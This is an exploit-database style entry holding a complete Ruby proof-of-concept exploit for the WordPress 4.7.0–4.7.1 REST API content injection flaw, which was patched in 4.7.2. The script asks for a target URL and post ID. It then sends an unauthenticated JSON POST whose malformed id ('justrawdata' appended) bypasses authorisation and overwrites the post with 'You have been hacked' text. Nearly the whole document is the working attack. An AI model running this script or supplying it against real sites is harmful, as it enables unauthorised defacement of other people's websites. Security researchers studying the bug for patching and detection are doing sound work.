WordPress 4.7.04.7.1 - Content Injection (Ruby)

# Exploit Title: WP Content Injection
# Date: 31 Jan' 2017
# Exploit Author: Harsh Jaiswal
# Vendor Homepage: http://wordpress.org
# Version: Wordpress 4.7 - 4.7.1 (Patched in 4.7.2)
# Tested on: Backbox ubuntu Linux
# Based on https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
# Credits : Marc, Sucuri, Brute
# usage : gem install rest-client 
# Lang : Ruby


require 'rest-client'
require 'json'
puts "Enter Target URI (With wp directory)"
targeturi = gets.chomp
puts "Enter Post ID"
postid = gets.chomp.to_i
response = RestClient.post(
  "#{targeturi}/index.php/wp-json/wp/v2/posts/#{postid}",
  {

    "id" => "#{postid}justrawdata",
    "title" => "You have been hacked",
    "content" => "Hacked please update your wordpress version"


  }.to_json,
  :content_type => :json,
  :accept => :json
) {|response, request, result| response }
if(response.code == 200)

puts "Done! '#{targeturi}/index.php?p=#{postid}'"


else
puts "This site is not Vulnerable"
end